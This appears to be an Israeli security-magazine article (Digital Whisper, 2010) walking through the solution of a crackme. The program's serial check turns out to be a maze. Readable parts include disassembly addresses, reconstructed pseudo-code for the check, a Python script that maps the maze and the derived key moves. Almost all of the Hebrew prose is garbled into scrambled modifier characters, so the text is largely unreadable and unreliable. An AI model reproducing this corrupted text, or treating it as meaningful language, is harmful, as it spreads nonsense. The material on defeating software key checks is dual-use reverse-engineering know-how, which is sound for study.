XOR ˮ˷ ˶˷˞˩ ˵˶ˣ ˨˞ ˯˲˞ ˢ˧ˢ˸ ˢ˞˴ˣ˸ˢˢ˧ ˫˧ˮ˸˷ˬˢ ˧ ˣ˧˟˨˶˰ˢ ˣ˸ˣ˞. 

˷˧ ˫˧˞ˮ˸ ˧ˮ˷ ˢ˲: 

1. ˢ˪ ˸ˬˡˣ˵ˢ ˸ˣ˞ˢˬ ˢˮˣ˷ ˸ˣ˧ˢ˪ ˢ˩˧˶˴ ˪˞˧˶˯˟ ˸ˣ˞ ˪˩ . 
2.  ˫˧˩˶˰ˢ ˭˧˟ ˸ˣ˧ˢ˪ ˢ˩˧˶˴ ˪˞˧˶˯˟ ˸ˣ˞ ˪˩0x41 ï 0x50 ) ˫˧˩˶˰ˢ ˸˞ ˧˸˪ˡˠˢ ˢˬ˪ ˣ˟˷˥˸

-˟ˡ˥˞( , ˫˧ˣˣ˸ˢ ˪˷ ˧˶˲˯ˬˢ ˠˣ˴˧˧ˢ ˫ˢ˷'A'-'P'. 
 

 ˣˮˡˬ˪ ˨˩ˬ˫˧˞ˮ˸ˢ ˸˷ˣ˪˷˟ ˡˣˬ˰˪ ˨˧˶˴ ˣˮ˪˷ ˪˞˧˶˯ˢ˷: 

1. ˶x ˞ ˥ˣˣ˦˟ ˸ˣ˧ˢ˪ ˟˧˧˥ ˪˞˧˶˯ˢ ˨10-35 ˸ˣ˧˸ˣ˞. 
2. ˢ˪ ˸ˬˡˣ˵ˢ ˸ˣ˞ˢˬ ˢˮˣ˷ ˪˞˧˶˯˟ ˸ˣ˞ ˪˩. 
3.  ˫˧ˣˣ˸ˢ ˥ˣˣ˦˟ ˸ˣ˧ˢ˪ ˸˟˧˧˥ ˪˞˧˶˯˟ ˸ˣ˞ ˪˩'A'-'P') .ˣ˪˞ ˧˩ ˟˪ ˣˬ˧˷ ˟ ˸ˣ˧˸ˣ˞-Uppercase( 

 

˰˟˵ˮ Breakpoint ˪˞˧˶˯ˢ ˸ˣˮ˧˵˸ ˧ˣˡ˧ˣˣ ˫ˣ˵ˬ˟ , ˭˧˵˸ ˪˞˧˶˯ ˯˧ˮ˩ˮï ˶ˣ˴˰ˮˣ. 

 

˵˧ˡ˟ˢ ˸˞ ˣˮ˶˟˰ ˣˮ˸˥ˬ˷˪˸ˣ !J 

˸ˣ˵˧ˡ˟ˢ ˸˞ ˣˮ˶˟˰ˣ ˢˡ˧ˬ˟ , ˸˟ˣ˸˩˟ ˸˞˴ˬˮˢ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˸˰˴˟˸ˬ0x00401610  ˪˞˧˶˯ˢ ˫˰

 ˶˦ˬ˶˲˩ï ˪ ˢ˞˧˶˵ˢ ˫˰ ˸˟ˣ˸˩ˢ ˢ˸ˣ˞˪ ˢ˴˧˲˵ ˢ˧˶˥˞˪ˣ-MessageBoxTimeoutA. 

˭˩˪ ,˟˷ ˢ˧˴˵ˮˣ˲˟ ˸˞˴ˬˮ ˪˞˧˶˯ˢ ˸ˣˮˣ˩ˮ ˸˵˧ˡ˟˪ ˢˮ˧˦ˣ˶ˢ˷ ˵˧˯ˢ˪ ˪˩ˣˮ0x00401610-. 
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 ˱˧˩ˢ ˸˞ ˫˧˪˧˥˸ˬ ˣ˧˷˩˰˧˸˧ˬ˞ˢ 

 

 

ˣˮ˯ˮ˩ˢ˷ ˧˥˩ˣˮˢ ˪˞˧˶˯ˢ ˫˰ ˡˣ˵˟ ˡ˰˴ˮ ˫˞, ˪ ˰˧ˠˮ-0x004016EE ï  ˨˶˰ˢ ˱˥ˡ˧ ˫˷0x00  ˸˧ˮ˯˥ˬ˪

 ˶ˠˣ˞˟˷ ˢ˧˴˵ˮˣ˲ˢ ˞˶˵˸ˣEAX , ˣˮ˪ ˰˧˲ˣ˧ˣ"Invalid Key" ,-sBad Boy ˣˮ˪˷. 

 ˸˟ˣ˸˩˪ ˸ˣ˶˥˞ ˸ˣ˴˧˲˵ ˡˣ˵˟ ˸ˣ˞˶˪ ˭˸˧ˮ0x004016EA ˟ ˢ˧˴˵ˮˣ˲ˢ ˢ˸ˣ˞˪ ˸˞˶ˣ˵˷-EAX  ˸˲˥ˣˡ ˨˞

˨˶˰ˢ ˸˞10x0 ,˸˧ˮˡ˧ ˢ˶ˣ˴˟ ˫˷˪ ˰˧ˠˢ˪ ˡˣ˵ˢ ˸ˬ˧˶ˤ˪ ˫ˣ˶ˠˮ ˫˞ ,ˢ ˰˧˲ˣ˧ ˢˤˢ ˢ˶˵ˬ˟ ˸ˬ˞˟˷ ˢ˞˶ˮ-

Good Boy ˣˮ˪˷! 

 

˸˰˩, ˪ ˢ˴˧˲˵˪ ˰˧ˠˢ˪ ˞˧ˢ ˣˮ˪˷ ˢ˶˦ˬˢ˷ ˫˧˰ˡˣ˧ ˣˮ˞˷˩-0x004016EA ,ˡˣ˟˰˪ ˪˧˥˸ˢ˪ ˪˩ˣˮ. 
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 ˫˧˶ˠˣ˞ˢ ˧ˮ˷ ˢ˧˴˵ˮˣ˲ˢ ˸˪˧˥˸˟EBX xEDI- ˫˧˰ˣ˟˵ ˫˧˩˶˰ ˫˰ ˫˧˪˥˸ˣ˞ˬ ,˷˩ ˶ˣ˩ˤ˪ ˟ˣ˷˥ ˶˟ˡ ˫˧˶˵ˣ˥

˫˧˰ˣ˟˵ ˫˧˩˶˰˪ ˟˪ ˫˧˷˪ ˞ˣˢ ˸ˣ˧ˮ˩˸ ,˫˸˯ ˫˷ ˫˧˞˴ˬˮ ˞˪ ˫ˢ ˧˩. ˤ˞: 

EBX = 0x00442D1 

EDI = 0x00442A5F 

˭ˮ˷˧ ˭˩ˬ ˶˥˞˪ ˭ˢ˧˪˞ ˯˥˧˧˸ˮ ˞˪ ˤ˞ ˢ˟˶ˢ ˸ˣ˷ˣ˰ ˞˪˷ ˸ˣ˞˧˶˵ ˧˸˷ . ˸˟ˣ˸˩˟ ˪˧˥˸ˬˢ ˡˣ˵˟

0x00401672 ˧ˢ˷˪˩ ˢ˞˪ˣ˪ ˢ˪˧˥˸ˬ , ˪˷ ˭ˣˬ˧˯ˢ ˧˲˪Olly) .ˢ˞˪ˣ˪ˢ ˸˪˧˥˸ ˧ˮ˲˪ ,˧˶˯ˢ ˭˸˧ˮ˷ ˪˞

˶˦ˬ˶˲˩ ,˟ ˫˷ˣˢEBP-.( 

˫˩˧˪˰ ˪˵ˢ˪ ˧ˡ˩ ,ˣˡˣ˞˯˲˪ ˢ˞˪ˣ˪ˢ ˸˞ ˧˸ˬˠ˶˸-˧˯: 

while (true)  

{  

 if  (EBX && EDI == 0x00442A23)  

  goto GoodBoy;  

 if  (*SerialPointer == 0x00) //  ˣˮ˵ˡ˴ ˞˪ˣ ˪˞˧˶˯ˢ ˪˩ ˪˰ ˣˮ˶˟˰ 

  goto BadBoy;  

 if  ( (*EBX | 0x04 == 4) || (*EDI | 0x04 ==  4) )  

  goto BadBoy;  

 

 switch  ((*SerialPointer & 0x0F) & 0x03)  

 {  

  case 0:  

   EBX - = 1;  

  case 1:  

   EBX - = 0x1A;  

  case 3:  

   EBX += 1;  

  case 2:  

   EBX += 0x1A;  

 }  

 switch  ((*SerialPointer & 0x0F) >> 2)  

 {  

  case 0:  

   EDI - = 1;  

  case 1:  

   EDI - = 0x1A ;  

  case 3:  

   EDI += 1;  

  case 2:  

   EDI += 0x1A;  

 }  

 SerialPointer++;  // ˢ˞˪ˣ˪ ˪˩˟ ˸˰˴˟˸ˬ ˸˞ˤˢ ˢ˞˶ˣˢˢ 

}  
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 ˡˣ˵ˢ˷˩ ˸˰˩ˢ˟˶ˢ ˞˧˶˵ ˶˸ˣ˧ ,ˣ˸ˣ˞ ˥˸ˮ˪ ˪˧˥˸ˢ˪ ˪˩ˣˮ. 

 

 ˫˧˶ˠˣ˞ˢ ˪˷ ˫ˢ˧˩˶˰ ˧˩ ˢ˞˪ˣ˪ˢ ˸˪˧˥˸˟ ˸ˣ˞˶˪ ˭˸˧ˮEBX x-EDI  ˨˶˰˪ ˫˧ˣˣ˷ˬ0x00442A23-  ˢ˶˵ˬ˟

˫ˢ˧ˮ˷˷ ˫˧ˣˣ˷ , ˣˮ˪ ˷˧Good Boy. 

ˣ˧˷˩˰ ,ˢ˪˞ˢ ˫˧˶ˠˣ˞ˢ ˧ˮ˷ ˪˰ ˰˧˲˷ˬ ˢˬ ˢ˞˶ˮ. 

˰˷ ˫˧˞ˣ˶ ˨˷ˬˢ˟ˢ ˧ˡ˧ ˪˰ ˫˧˰˲˷ˣˬ ˫˧˶ˠˣ˞ˢ ˪˷ ˫ˢ˧˩˶switch- ˣˮ˪˷ ˪˞˧˶˯ˢ ˧ˡ˧ ˪˰ ˰˲˷ˣˬ˷ , ˸ˣ˞ ˪˩

˰˧˲˷ˬ ˪˞˧˶˯˟ s ˪˷ ˫ˢ˧˩˶˰ ˪˰EBX xEDI- ˢˮˣ˷ ˢ˶ˣ˴˟ ,ˣ ˸ˣ˧ˢ ˧ˮ˷ ˣˮ˪ ˷˧switch ˫˧ˮˣ˷ ,˪˷ˬ˪ , ˭˸˧ˮ

˪ ˯˧ˮ˩ˮ ˫˞˷ ˸ˣ˞˶˪switch-  ˸ˣ˞ˢ ˸˞'B' ),0x42 ï 0x01 = 0x41  ˪˩˪ ˢ˶˧˯˥ˬ ˸˧ˮ˩˸ˢ˷ ˤ˞ ˫˧˶˩ˣˤ

˸ˣ˞ ˡ˥˞ ˪˞˧˶˯˟?(, EBX ˟ ˭˦˵˧-0x1A , ˨˞EDI ˟ ˭˦˵˧-1. 

˨˩ˬ ˭˧˟ˢ˪ ˶˷˲˞ , ˪˷ ˨˶˰˪ ˯˥˧˟ ˸ˣ˞ ˪˩˟ ˟˷˥˸ˢ˪ ˨˶˦˴ˮ˷EDI ˫ˠˣ  ˪˷ ˨˶˰˪ ˯˥˧˟EBX ï  ˞˧ˢ ˧˩

ˢˮˣ˷ ˢ˶ˣ˴˟ ˫ˢ˧ˮ˷ ˪˰ ˰˧˲˷ˬ. 

ˢˤ ˸˞ ˫˧ˮ˧˟ˬ ˣˮ˥ˮ˞˷˩ ˣ˧˷˩˰ ,˪˥ˣ˧ˬˢ ˨˶˰˪ ˫˧˶ˠˣ˞ˢ ˧ˮ˷ ˫˰ ˰˧ˠˢ˪ ˢˤ ˸ˣ˷˰˪ ˨˶˦˴ˮ˷ ˢˬ ˪˩ ,

0x00442A23, ˪˞˧˶˯ˢ ˸ˣ˧˸ˣ˞ ˸ˣ˰˴ˬ˞˟. 

 

˨˞ ,˪˩ˢ ˞˪ ˢˤ ! ˪˷ ˸˧˥˩ˣˮˢ ˸˟ˣ˸˩˟ ˞˴ˬˮ˷ ˨˶˰˪ ˸˧ˠˣ˪ ˢ˪ˣ˰˲ ˢˮ˷˧ ˡˣ˵˟ ˢ˪˰ˬ˪EBX xEDI-: 

 

if  ((*EBX | 0x04 == 4) || (*EDI  | 0x04 == 4))  

goto  BadBoy;  

 

 ˸˶ˬˣ˞ ˸˞ˤ˷ˢ ˦˧˟ˢ˷ ˨˶˰ ˢ˪˧˩ˬ ˫˧˶ˠˣ˞˟˷ ˸˥˞ ˸˟ˣ˸˩ ˣ˪˧˲˞ ˫˞-3 ˵ˣ˪ˡ ˣ˪˷ ) ˸˞ ˫˧˪˧˥˸ˬ

 ˢ˶˧˲˯ˢ-ˬ0 ( ˣˮ˪ ˷˧Bad Boy ! 

˨˩ˬ ˭˧˟ˢ˪ ˭˸˧ˮ , ˸ˣˬ˧ˣ˯ˬ ˸ˣ˟ˣ˸˩ ˷˧˷ï  ˣˮ˪ ˶ˣ˯˞˷"˨ˣ˶ˡ˪ "˭ˢ˧˪˰ ,ˡˣ˞ˬ ˣˮ˸ˣ˞ ˢ˪˧˟ˠˬ ˣˤ ˢˡ˟ˣ˰ .

 ˢ˧˪˞ ˰˧ˠˢ˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞˷ ˸˟ˣ˸˩˪ ˟˧˟˯ˬ ˭ˣ˶˩˧ˤˢ ˪˷ ˢˮˣˬ˸ ˨˶˦˴ˮ ,0x00442A23 , ˸˞ ˭ˬ˯˪ˣ

˭ˢ˧˪˰ ˨ˣ˶ˡ˪ ˣˮ˪ ˶ˣ˯˞˷ ˸ˣ˟ˣ˸˩ˢ ,˸ˣ˪˧˩ˬ ˭ˢ˷ ˫˧˩˶˰ˢ ˧˲˪. 

ˣˮ ˨˧˞˸˥˵˪ ˣˮ˧˪˰˷ ˢˮˣˬ˸ˢ ˪ˡˣˠ ˢˬ ˸˰ˡ˪ ˪˪˩˟ ˪˩ ?˧˲ˣ˯ˮ˧˞ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˢˤ! 
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¶ ˟ ˸ˮˬˣ˯ˬ˷ ˸˟ˣ˸˩ˢ˟ˣˢ˴ ˢ˧˪˞ ˰˧ˠˢ˪ ˣˮ˧˪˰˷ ˸˟ˣ˸˩ˢ ˞˧ˢ ,0x00442A23. 

¶ ˟ ˸ˮˬˣ˯ˬ˷ ˸˟ˣ˸˩ˢ˫ˣˡ˞  ˪˷ ˢ˸˟ˣ˸˩ ˞˧ˢEBX. 

¶ ˟ ˸ˮˬˣ˯ˬ˷ ˸˟ˣ˸˩ˢ˪ˣ˥˩  ˪˷ ˢ˸˟ˣ˸˩ ˞˧ˢEDI. 

 

˷ ˢˮˣˬ˸ˢ ˪ˡˣˠ ˸˞ ˸˰ˡ˪ ˫˧˪ˣ˩˧ ˞˪ ˣˮ˥ˮ˞˷ ˭ˣˣ˧˩ ˸˞ ˸ˣ˯˩˪ ˧ˡ˩ ˸˥˵˪ ˣˮ˧˪˰˷ ˭ˣ˶˩˧ˤˢ ˪˪˩  ˸ˣˬˣ˵ˬˢ

˫ˢ˧˪˰ ˨ˣ˶ˡ˪ ˣˮ˪ ˶ˣ˯˞˷ ,˸˴˵ ˟ˣ˷˥˪ˣ ˪˩˸˯ˢ˪ ˨˶˦˴ˮ. 

˫˧˧˞˶˵˞ ˫˧˸˟ ˪˷ ˪ˣˡˠ ˵ˣ˪˟ ˸ˣ˞˶˪ ˭˸˧ˮ ,˟ ˫˧˧˸˯ˬˣ ˪˧˥˸ˬ˷-5  ˧˸˟NULL, ˸ˣ˧˸ˣ˞ ˶˟˩ ˷˧ ˣ˧˶˥˞ˣ ,

˸ˣ˞˶ˮ ˞˪˷ ˭ˣ˶˩˧ˤˢ ˸˲ˬˬ ˵˪˥ ˣˬ˩. 

˭˟ˣˬ˩ ,ˢ˟˶ˢ ˨˩ˬ ˵˧˯ˢ˪ ˶˷˲˞ ˧˞˷ ,˪ ˞˶˵ˮ ˨˞ ˢˤ"˪˩˷ˣˬ ˷ˣ˥˧ˮ" ,˟ ˫˧˷ˣ˰˷ ˢˬ ˪˩ ˫˴˰˟ ˢˤ ˧˩-

Reverse Engineering ,˫˧˪˩˷ˣˬ ˫˧˷ˣ˥˧ˮ. 

ˣ˧˷˩˰ , ˸˟ˣ˸˩˪ ˭ˣ˶˩˧ˤˢ ˸˲ˬ ˨˶ˡ ˣˮ˪˷ ˨˶ˡˢ ˸˞ ˯˪˲˪ ˣˮ˧˪˰˷ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞0x00442A23 , ˧ˮ˷ˬ

 ˸ˣˮˣ˷ ˞˴ˣˬ ˸ˣˡˣ˵ˮ)˟˷ ˸ˣˮˣ˷ˢ ˸ˣ˟ˣ˸˩ˢEBX- x-EDI( ,˪˞˧˶˯ˢ ˸ˣ˧˸ˣ˞ ˸ˣ˰˴ˬ˞˟ , ˸ˣ˟ˣ˸˩ ˷˧ˣ

ˬˣˬ˧ˣ˯˫ˢ˧˪˰ ˨ˣ˶ˡ˪ ˣˮ˪ ˶ˣ˯˞˷ ˸. 
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ˢ˶˵ˬ˟ ˞˪ ˢˤ..ˣˢ˷ˬ ˫˩˪ ˶˧˩ˤˬ? 

 

˪ ˸ˮˬ ˪˰ ˢ˟ ˸˩˪˪ ˣˮ˧˪˰˷ ˨˶ˡ˫˧ˣ˯ˬ ˫ˣ˵ˬ˪ ˰˧ˠˢ ,˫ˢ˧˪˰ ˨ˣ˶ˡ˪ ˣˮ˪ ˶ˣ˯˞˷ ˸ˣˬˣ˵ˬ ˷˧ ˨˞.  ˣˮ˪ ˷˧

ˬ˴˰ ˸˞ ˤ˧ˤˢ˪ ˸ˣ˶˷˲˞ˮ ˢ˪˞ˬ˷ ˡ˥˞ ˫ˣ˵ˬ ˣ˞ ˢˮ˧ˬ˧ ˡ˥˞ ˫ˣ˵ˬ ˣ)˫˧˶ˠˣ˞ˢ ˪˷ ˢ˶˯˥ˢˣ ˢ˲˯ˣˢ( , ˣ˞

˟ ˣˬ˴˰ ˪˷ ˢˤˤˢ-0x1A ˩˸ˣ˟ˣ˸ . ˪˷ ˸ˣ˶ˣ˷˪ ˢ˸ˣ˞ ˵˪˥ˮˣ ˣˮ˪˷ ˢ˲ˬˢ ˸˞ ˥˵˧ˮ ˫˞0x1A )26 ( ˫˧˸˟

ˢ˶ˣ˷ ˪˩˟ , ˪˷ ˢˤˤˢ˪ ˞ˣ˶˵˪ ˣ˪˧˲˞ ˪˩ˣˮ0x1A  ˸ˣ˟ˣ˸˩"ˢ˪˰ˬ˪ "-x"ˢ˦ˬ˪!" 

 

˨ˣ˟ˬ ˡˣ˞ˬ ˶˧˩ˤˬ ˢˤ ˧˪! 

˧˸˶ˬ˞˷ ˧˲˩ ˢ˲ˬˢ ˸˞ ˵˪˥ˮ ˫˞ , ˣˮˬ˴˰ ˸˞ ˭ˣˣ˩˪ ˦ˣ˷˲ ˪˩ˣˮ˸˷ˬ ˣˮ˪˷ ˢ˶˦ˬˢ ˪˞ ˪˞˧˶˯ˢ ˸ˣ˰˴ˬ˞˟ ˧

˞˴ˣˬˢ ˸ˣˡˣ˵ˮ , ˣ˞"˷ˢ˫˧ˮ˵˥" ,˸ˬ˞ˣ˸ˬ ˨˶ˡ˟ , ˸˥˞ ˢ˰ˣˮ˸ ˭˵˥˷ ˪˩ ˧˟ˠ˪ ˢˣˣˢˬ ˸ˣ˞ ˪˩˷˩ï ˢˮ˧ˬ˧ ,

ˢ˪˞ˬ˷ ,ˢ˦ˬ˪ ˣ˞ ˢ˪˰ˬ˪! 

 

ˢˤˢ ˭ˣ˧˰˶ˢ ˸˞ ˸˥˵˪ ˪˩ˣˮ˷ ˧ˡ˩˟ ˣ ˨ˣ˟ˬˢ ˪˷˪˞˧˶˯ˢ ˸˞˧˴ˬ˪ ˣ˸ˣ˞ ˫˷˧˧˪ ,˫ˡˣ˵ ˨˶˦˴ˮ  ˸˞ ˸˥˵˪

 ˪˷ ˸ˣ˶ˣ˷˪ ˢ˸ˣ˞ ˵˪˥˪ˣ ˣˮ˪˷ ˭ˣ˶˩˧ˤˢ ˸˲ˬ26 )0x1A( , ˸˞ ˭ˬ˯˪ ˤ˞ˣˮ˪ ˶ˣ˯˞˷ ˸ˣ˟ˣ˸˩ˢ ˪˩ ˨ˣ˶ˡ˪ ˣ

˭ˢ˧˪˰ ,˭ˢ˪ ˞ˣ˶˵˪ ˪˩ˣˮ "˸ˣ˶˧˵" ,˨ˣ˟ˬ˟ ˣˬ˩ ˵ˣ˧ˡ˟! 

 

˸ˮˬ ˪˰ ˢ ˸˞ ˰˴˟˪ˢˤˢ ˨˪ˢˬ ,˟ ˢˮ˩ˣ˸ ˧˸˟˸˩-Python: 

File = open( "maze.mem" , 'r' );  

Output = open( "Output.txt" , 'a' );  

Rows = File.read().split( ' \ n' );  

 

for  row in range(0,len(Rows)):  

 Bytes = Rows[row].split( ' \ x20' );  

 for  Byte in range (0, len(Bytes)):  

  if  ( int (Bytes[Byte], 16) & 4 == 4):  

   Bytes[Byte] = 'XX' ;  

    

  Output.write(Bytes[Byte] + ' \ x20' );  

Output.write( ' \ n' );  

 

]maze.mem ˣˮ˪˷ ˭ˣ˶˩˧ˤˢ ˸˲ˬ ˞˧ˢ , ˪˷ ˸ˣ˶ˣ˷˪ ˧˸˵˪˧˥˷26[. 

 



 

 

˫˧˪˞˧˶˯ˣ ˫˧˩ˣ˟ˬ 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ12 ,˶˟ˬ˦˲˯ 2010  31 

 

ˢ˞˴ˣ˸ˢˣ: 

 

]˵ˢ ˸˞ ˵ˣ˶˧˟ ˧˸˷ˠˡˢ ˸˶ˤ˰˟ ˸ˣ˶˧Notepad++.[ 

 

ˮ˷ ˸˞ ˧˸ˮˬ˧˯˫˧ˮ˵˥˷ˢ ˧ ,ˢ˪ˣ˥˩ sx˫ˣˡ˞ , ˰˟˴˟ ˢ˞˧˴˧ˢ ˸ˡˣ˵ˮ ˸˞ˣ˟ˣˢ˴. 

 

ˣ˧˷˩˰ ,ˢ˶ˣ˶˟ˣ ˸˧˪˞ˣˤ˧ˣˣ ˡˣ˞ˬ ˢ˶ˣ˴˟ ˨ˣ˟ˬˢ ˸˞ ˣˮ˪ ˷˧˷˩ ,˪˩ˣˮ ˣˤ˧˞˟ ˸ˣ˰˧˲˷ˬ ˸ˣ˧˸ˣ˞ ˢˤ˧˞ ˵ˣˡ˟˪ 

 ˢ˶ˣ˴ï ˤ˞ˣ ˪˩ˣˮ ˦ˣ˷˲ ˫˧˞˸ˬ ˪ˣ˪˯ˬ ˣˮ˪ ˸ˣˮ˟˪. 

 

˫˧˶˩ˣˤ ˫˸˞˷ ˧˲˩ ,˵˸ ˸˞ ˣˮ˵ˡ˟˷˩ ˪˞˧˶˯ˢ ˸ˣˮ˧ï  ˭˧˟ ˸ˣ˰ˮ ˪˞˧˶˯˪ ˸ˣ˧ˣ˶˷˲˞ˢ ˸ˣ˧˸ˣ˞ˢ ˧˩ ˣˮ˧˞˶'A'-

-˪'P' ,˸˰ˡ˪ ˪˧˟˷˟ ˸ˣ˷˰˪ ˫˧˩˧˶˴ ˣˮ˞˷ ˢˬ ˪˩ ,˷ ˨˪ˢˬˢ ˢˬ˸ˣ˞ ˪˩  ˭˵˥˷ ˪˩ ˪˧˟˷˟ ˢˣˣˢˬï  ˢˤ

ˢ ˨˶˰ ˸˞ ˸˥˵˪-ASCII ˟ ˟˧˴ˢ˪ˣ ˢ˪˷-switch ˭˵˥˷ ˪˩ ˪˷. 
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ˢ˞˟ˢ ˸ˣ˧ˣ˶˷˲˞˪ ˧˸˰ˠˢ ˸ˣ˞ ˪˩ ˪˷ ˢ˟˴ˢ ˶˥˞˪: 

˫ˣˡ˞ ˭˵˥˷: 

˪˞ˬ˷ ˢ- 'A','E','I','M'. 

 ˢ˪˰ˬ˪- 'B','F','J','N'. 

 ˢ˦ˬ˪ï ' 'C','G','K','O. 

 ˢˮ˧ˬ˧- 'D','H','L','P'. 

 

˪ˣ˥˩ ˭˵˥˷: 

 ˢ˪˞ˬ˷- 'A','B','C','D'. 

 ˢ˪˰ˬ˪- 'E','F','G','H'. 

 ˢ˦ˬ˪- 'I','J','K','L'. 

 ˢˮ˧ˬ˧- 'M','N','O','P'. 

 

ˣ˧˸ˣ˞ˢˣ ˭˵˥˷ ˪˩ ˪˷ ˫˧˧˶˷˲˞ˢ ˫˧˩˪ˢˬˢ ˪˰ ˣ˪˩˸˯˸ ˫˞ˬ ˪˩ ˸ˣˠ˴˧˧ˬ˷ ˸˨˪ˢ , ˸˧ˮ˟˸ ˸ˣ˞˶˪ ˣ˪˩ˣ˸

˸ˬ˧ˣ˯ˬ. 

˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ-4 ˭˵˥˷ ˪˩ ˪˷ ˨˪ˢˬ ˠ˴˧˧˪ ˧ˡ˩ ˸ˣˮˣ˷ ˸ˣ˧˸ˣ˞ ,˟ˣ˦ ˣ˪˩˸˯˸ ˫˞ˣ ,ˢ ˭˵˥˷ˢ ˪˴˞˫ˣˡ˞- 

 ˸ˣ˧˸ˣ˞ˢ'A','E','I','M' ,˸˩˪˪ ˭˵˥˷˪ ˸ˣˬ˶ˣˠ ˢ˪˞ˬ˷ ,˨˞ ,ˢ ˪˴˞ ˵ˣ˧ˡ˟ ˸ˣ˧˸ˣ˞ˢ ˭˸ˣ˞ˢ ˭˵˥˷˪ˣ˥˩ ,

˭ˣˣ˧˩ ˪˩˪ ˣ˸ˣ˞ ˤ˧ˤˢ˪ ˸ˣ˪ˣ˩˧ .ˬ˪˪˷ ,˭˸˧ˮ ˟ ˷ˬ˸˷ˢ˪-'E '˟ ˢ˪˞ˬ˷ ˤˣˤ˪ ˧ˡ˩˟˫ˣˡ˞ ˟ ˢ˪˰ˬ˪ ˨˞˪ˣ˥˩. 

˸˶ˬˣ˞ ˸˞ˤ ,˷ˢ ˭˵˥˷ˢ ˫˰ ˢ˪˞ˬ˷ ˢ˰ˣˮ˸ˢ ˸˞ ˫˧˰˴˟ˬ ˣˮ˥ˮ˞˷˩˫ˣˡ˞ ,˰˧˲˷ˬ ˸ˣ˞ˢ ˢ˸ˣ˞˷ ˪˪ˠ˟ s

˧ˮ˷ˢ ˭˵˥˷ˢ ˪˰ ˫ˠ ,ˢ ˭˵˥˷ˢ ˫˰ ˰˴˟˪ ˪˩ˣˮ˪ˣ˥˩ ˸˧ˮˬˤ ˣ˟ ˫˧˴ˣ˶ ˣˮ˥ˮ˞˷ ˢ˰ˣˮ˸ ˪˩. 

 ˫˰ ˱˵˸ ˪˪˩ˢ ˣ˸ˣ˞˸ˣ˶˥˞ˢ ˸ˣ˰ˣˮ˸ˢ ˪˩ , ˨˩-˷˸˩˟ˣ˯ˬ ˨˩ ˪˩ ˸˧˞˶ˮ ˞˪ ˶˟˩ ˫ˣ˞˧˸ˢ ˸˧˧˰˟. 

 

ˣˮ˪˷ ˫˧˵ˣ˥˪ ˶ˣˤ˥ˮ: 

1.  ˥ˣˣ˦˟ ˸ˣ˧ˢ˪ ˟˧˧˥ ˪˞˧˶˯ˢ ˨˶ˣ˞10-35 ˸ˣ˧˸ˣ˞. 

2. ˢ˪ ˸ˬˡˣ˵ˢ ˸ˣ˞ˢˬ ˢˮˣ˷ ˪˞˧˶˯˟ ˸ˣ˞ ˪˩. 

3.  ˫˧ˣˣ˸ˢ ˥ˣˣ˦˟ ˸ˣ˧ˢ˪ ˸˟˧˧˥ ˪˞˧˶˯˟ ˸ˣ˞ ˪˩'A'-'P') .˟ ˸ˣ˧˸ˣ˞ ˢˤ˷ ˟˪ ˣˬ˧˷-

Uppercase( 

 

ˢˬ ˫˪˰˸ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˧˷˧˪˷ˢ ˵ˣ˥ˣ˟ ˣˮ˪˲˧˦ ˶˟˩ ˧˩ ,ˮ˷ ˣˮ˪ ˣ˶˞˷ˮ˷ ˨˩˫˧˵ˣ˥ ˧: 

1.  ˥ˣˣ˦˟ ˸ˣ˧ˢ˪ ˟˧˧˥ ˪˞˧˶˯ˢ ˨˶ˣ˞10-35 ˸ˣ˧˸ˣ˞ -  ˶˟ˡˢ ˸ˣ˰ˬ˷ˬ ˨ˣ˟ˬˢ ˸˞ ˫˧˪˷ˢ˪ ˣˮ˧˪˰˷
-˟35 ˫˧ˡ˰˴ ˢ ˪˩˪˶˸ˣ˧. 
 
2. ˢ˪ ˸ˬˡˣ˵ˢ ˸ˣ˞ˢˬ ˢˮˣ˷ ˪˞˧˶˯˟ ˸ˣ˞ ˪˩. ˣ˵ˡ˟˸ ˫˞ ,ˢˮ˦˵ ˞˪ ˢ˧˰˟ ˣˮ˪ ˶˴ˣ˧ ˢˤ˷ ˣ˞˶˸: 
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˪˞ˬ ˸ˣˮ˟ˣˬˢ ˫˧˩˶ˡˢ ˸˞ ˥˵˧ˮ ˫˞˭ˢ˧ , ˧˸ˮˬ˧˯˷˟˫ˣˡ˞ ˟x˪ˣ˥˩ ï ˢ˩˩ ˫˧˩˪ˢˬˢ ˸˞ ˫˩˯˪ ˪˩ˣˮ : 

˫ˣˡ˞: 

 ˢ˪˞ˬ˷x7 , ˢ˪˰ˬ˪x4 , ˢ˪˞ˬ˷x5 , ˢ˦ˬ˪x3 , ˢ˪˞ˬ˷x4 , ˢ˦ˬ˪x3 , ˢ˪˞ˬ˷x6 , ˢ˦ˬ˪x2. 

ˣ˪ˣ˥˩ : 

 ˢ˪˞ˬ˷x8 , ˢ˪˰ˬ˪x2. 

 

˸ˣ˧˸ˣ˞˪ ˸˞ˤ ˶˧ˬˢ˪ ˢ˯ˮˮ ,˸ˣ˷ˠˮ˸ˢ ˣˮ˪ ˶˴ˣˣ˧˸ , ˢ˪˧˥˸˟ ˧˩ˢ˴˶ˮ ˢ ˭˵˥˷˟ ˢ˪˞ˬ˷ ˸˧ˮˬˤ ˣ˟˫ˣˡ˞ ˫ˠˣ 
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ˣ˰ ˪˷ ˭˸˶˧˴˧ ˸˞ ˢ˸˪˧˥˸˩˪ˬ ˰ˣˮˬ˪ ˣ˞ ˸ˣ˧ˠˣ˰ ˵ˣ˥ˬ˪ ˦˶˲˟ˣ ˸ˣ˧ˠˣ˰ ˪˰ ˢ˶˧ˬ˷ ˧˟ˠ˪ ˸ˣ˲ˡ˰ˢ ˸˞ ˸ˣ˧ˠ

˞ ˡ˴ 'ˠ ˡ˴ˣ' .ˣˬ˩-˭˩ , ˸ˣ˧ˠˣ˰ ˵ˣ˥ˬ˪ ˸ˣ˶˷˲˞ ˫˧˪˪ˣ˩ ˫˧˧˷˧˞ ˫˧˟˷˥ˬ˪ ˢ˥˦˟˞ ˧˪˩ ˦˰ˬ ˞˪"˸ˣ˟˵ˣ˰ "

